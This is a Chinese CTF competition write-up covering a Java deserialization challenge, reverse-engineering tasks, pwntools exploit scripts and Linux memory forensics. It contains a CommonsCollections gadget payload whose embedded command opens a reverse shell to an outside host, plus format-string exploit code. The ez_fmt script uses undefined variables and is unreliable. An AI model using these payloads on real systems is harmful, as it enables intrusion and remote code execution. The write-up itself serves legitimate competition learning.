AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA
AAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDODBOeTR4TURRdU1U
UXVNVFl3THpJek16TWdNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4A
GwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4
cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFw
BQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4
eHg=

root@sp4c1ous:/mnt/e/GoogleDownload/grpcurl_1.8.9_linux_x86_64# ./grpcurl -d '{"serializeData": "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDODBOeTR4TURRdU1UUXVNVFl3THpJek16TWdNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="}' -plaintext 8.147.129.191:18752 helloworld.Greeter.ProcessMsg
\{
  "message": "Hello World"
}

强网先锋

石头剪刀布

朴素贝叶斯模型

def train_model(X_train, y_train):
    model = MultinomialNB()
    model.fit(X_train, y_train)
    return model

def predict_opponent_choice(model, X_pred):
    return model.predict(X_pred)

def predict(i,my_choice):

    global  sequence
    model = None
    if i < 5:
        opponent_choice = [random.randint(0, 2)]
    else:
        model = train_model(X_train, y_train)
        opponent_choice = predict_opponent_choice(model, [sequence])

# ...Constructing a training set...#

    return opponent_choice

问了下GPT:

emm不会,决定人脑博弈:

ezre

原文件存在有反调试

去掉ollvm后

大体逻辑是多次base64在异或

存在反调试,可通过改eip绕过

动调得到各个base64表

l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr
FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8
Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA
pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a
plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6

最后把处理后的表当作异或的key,动调出key

enc=[0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04, 
  0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70, 
  0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D, 
  0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70, 
  0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]

m=[0]*48

key=[25, 76, 22, 73, 110, 77, 74, 78, 16, 98, 22, 109, 16, 126, 78, 109, 76, 22, 73, 110, 77, 74, 78, 16, 98, 22, 109, 16, 126, 78, 109, 76, 22, 73, 110, 77, 74, 78, 16, 98, 22, 109, 16, 126, 78, 109, 76, 0]

for i in range(len(enc)):
    m[i]=(enc[i-1])^enc[i]^key[i]
m[0]=0x25^0x0e
print(bytes(m))
#b'+ZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp=='

cyberchef解密

SpeedUp

https://oeis.org/A244060/b244060.txt

网上已经有2的27次方的阶乘的每一位数之和了0.0

这样的话就不用算自己去算了,直接跑一份sha256

Babyre

存在TLS会修改key和密文

#include <stdio.h>

void decrypt(unsigned int v[], unsigned char k[], unsigned char flag[]) {
    unsigned int v0 = v[0];
    unsigned int v1 = v[1];
    unsigned int delta = 0x77BF7F99;
    unsigned int sum1 = 0xd192c263;
    int i, j;

    for (j = 0; j < 4; j++) {
        for (i = 0; i < 33; i++) {
            sum1 += delta;
            v1 -= (v0 + ((v0 << 5) ^ (v0 >> 4))) ^ ((k[(sum1 >> 11) & 3]) + sum1);
            v0 -= (v1 + ((v1 << 5) ^ (v1 >> 4))) ^ (sum1 + (k[sum1 & 3])) ^ sum1;
        }
    }

    // Write v0 and v1 to flag array
    unsigned char* v0_bytes = (unsigned char*)&v0;
    unsigned char* v1_bytes = (unsigned char*)&v1;

    flag[0] = v0_bytes[0];
    flag[1] = v0_bytes[1];
    flag[2] = v0_bytes[2];
    flag[3] = v0_bytes[3];

    flag[4] = v1_bytes[0];
    flag[5] = v1_bytes[1];
    flag[6] = v1_bytes[2];
    flag[7] = v1_bytes[3];
}

int main() {
    unsigned char flag[17];
    unsigned int l[] = { 0x9523f2e0, 0x8ed8c293, 0x8668c393, 0xddf250bc, 0x510e4499, 0x8c60bd44, 0x34dcabf2, 0xc10fd260 };
    int i;
    unsigned char k[] = { 0x62, 0x6f, 0x6d, 0x62, 0 };

    for (i = 0; i < 4; i++) {
        unsigned int a[] = { l[2 * i], l[2 * i + 1] };
        decrypt(a, k, &flag[8 * i]);
    }

    printf("%s\n", flag);

    return 0;
}

ez_fmt

import os
import sys
import time
from pwn import *
from ctypes import *

#context.os = 'linux'
#context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
#context.terminal = ['gnome-terminal','-x','sh','-c']

elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

def duan():
        gdb.attach(p)
        pause()

while True:
        try:    
                p =remote('47.104.24.40',1337)
                ru("There is a gift for you ")
                stack = int(p.recv(14),16)
                pl = '%'+str(0xe6)+'c%11$hhn'
                pl += '%'+str(0x2b01-0xe6)+'c%10$hn'
                pl = pl.ljust(0x20,'\x00')
                pl += p64(buf+0x68)+p64(buf+0x68+2)
                sl(payload)
                sl('cat flag')
                itr()
        except:
                p.close()
                continue

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''

Trie

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
        context.arch = 'amd64'
else:
        context.arch = 'i386'

#p = process("./pwn")
flag='flag'

def pwn(ip):
        p=remote("47.104.150.173", 1337)
        p.recvuntil('4. Quit.\n')
        p.sendline('1')
        p.recvuntil('Input destination IP:\n')
        p.sendline('0.0.0.0')
        p.recvuntil('Input the next hop:\n')
        p.sendline('10.10.10.10')
        p.recvuntil('4. Quit.\n')
        p.sendline('1')
        p.recvuntil('Input destination IP:\n')
        p.sendline('255.255.255.255')    
        p.recvuntil('Input the next hop:\n')
        p.sendline('10.10.10.10')
        p.recvuntil('4. Quit.\n')
        p.sendline('3')    
        p.recvuntil('4. Quit.\n')
        p.sendline('1')
        p.recvuntil('Input destination IP:\n')
        p.sendline(ip)
        p.recvuntil('Input the next hop:\n')
        p.sendline('10.10.10.10')
        p.recvuntil('4. Quit.\n')
        p.sendline('3')    
        p.recvuntil('4. Quit.\n')
        p.sendline('2')    
        p.recvuntil('Input destination IP:\n')
        p.sendline(ip)
        p.recvuntil('The next hop is ')

        message=p.recvuntil(b'\n\n')[:-2]
        success(message)

        ip=message.decode('utf-8').split('.')
        print(ip)
        for i in ip[::-1]:
                global flag
                flag+=chr(int(i, 10))
        p.close()

while True:
        for i in range(1, 9):
                bbb='1'*i+'0'*(8-i)
                aaa=str(int(bbb,2))+'.0.0.0'
                pwn(aaa)
                success(flag)
                sleep(0.4)

        for i in range(1, 9):
                bbb='1'*i+'0'*(8-i)
                aaa='0.'+str(int(bbb,2))+'.0.0'
                pwn(aaa)
                success(flag)
                sleep(0.4)

找到PNG了吗

Linux内存镜像,

vol3用的不熟,用2制作profile:

内核版本:Linux version 5.4.0-100-generic

https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/

可以仿照这篇巨魔的文章做profile

做好之后,放到\volatility\plugins\overlays\linux​目录下,识别

识别到了已经

然后对镜像处理会有报错,按照上面文章提到的对dwarf.py和linux.py进行修改

https://github.com/volatilityfoundation/volatility/issues/828

https://github.com/volatilityfoundation/volatility/pull/852

https://github.com/volatilityfoundation/volatility/pull/852/commits/9ff9e9bb9103d63cbb278e991209aa11cffc61ce

成功识别

然后我们用 linux_enumerate_files​插件进行扫描

扫描出的文件可以输出到文本里,方便搜索:

发现一个特殊文件 /home/yuren/Desktop/have_your_fun.jocker

linux_find_file​进行提取文件,但是是0字节,应该是被删除了

批量搜一下这个 jocker​发现一个类似于脚本一样的东西,

#include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/socket.h>
 #include <arpa/inet.h>
 #include <unistd.h>
#define SERVER_IP "192.168.6.1"
 #define SERVER_PORT 110
 unsigned char buff[20000];
 void swap(char* a, char* b) {
     char temp = *a;
a = b;
b = temp;
 }
 void rc4_encrypt_decrypt(unsigned char key, unsigned char data, int data_length) {
     int i, j = 0, t;
     int s[256];
     int key_length = strlen((const char)key);
    for (i = 0; i < 256; i++) {
         s[i] = i;
     }
    for (i = 0; i < 256; i++) {
         j = (j + s[i] + key[i % key_length]) % 256;
         t = s[i];
         s[i] = s[j];
         s[j] = t;
     }
    i = j = 0;
     for (int k = 0; k < data_length; k++) {
         i = (i + 1) % 256;
         j = (j + s[i]) % 256;
         t = s[i];
         s[i] = s[j];
         s[j] = t;
         data[k] ^= s[(s[i] + s[j]) % 256];
     }
 }
 int main()
 {
     int clientSocket = socket(AF_INET, SOCK_STREAM, 0);
     if (clientSocket == -1) {
         printf("socket failed!\n");
         return 1;
     }
     struct sockaddr_in serverAddr;
     serverAddr.sin_family = AF_INET;
     serverAddr.sin_port = htons(SERVER_PORT);
     serverAddr.sin_addr.s_addr = inet_addr(SERVER_IP);
     connect(clientSocket, (struct sockaddr)&serverAddr, sizeof(serverAddr));
     int result = recv(clientSocket, buff, sizeof(buff), 0);
     int a=0;
     char q[10];
     unsigned char key[]="do_not_care";
     unsigned char key2[] = "where_is_the_key";
     FILE file = fopen("have_your_fun.jocker", "wb");
     if (file == NULL) {
         printf("open file failed!\n");
         return 1;
     }
     unsigned char *str;
     str = (char *) malloc(20000);
     memcpy(str, buff, 20000);
 rc4_encrypt_decrypt(key2, str, 20000);
     printf("please give me the key of fun:");
     scanf("%s",q);
     rc4_encrypt_decrypt(key, str, 20000);
    fwrite(buff, 1, 20000, file);
     printf("maybe you go wrong");
     fclose(file);
     close(clientSocket);
     return 0;
 }

就是两次RC4加密,并且给了密钥:do_not_care& where_is_the_key

虽然没有加密文件,但是根据PNG,我们用文件头 89504E47​ 来推出相应加密文件头

应该要以文件尾推出结果结束,但是没搜到,好在文件上下位置比较明显:

发布者

AndyNoel

一杯未尽,离怀多少。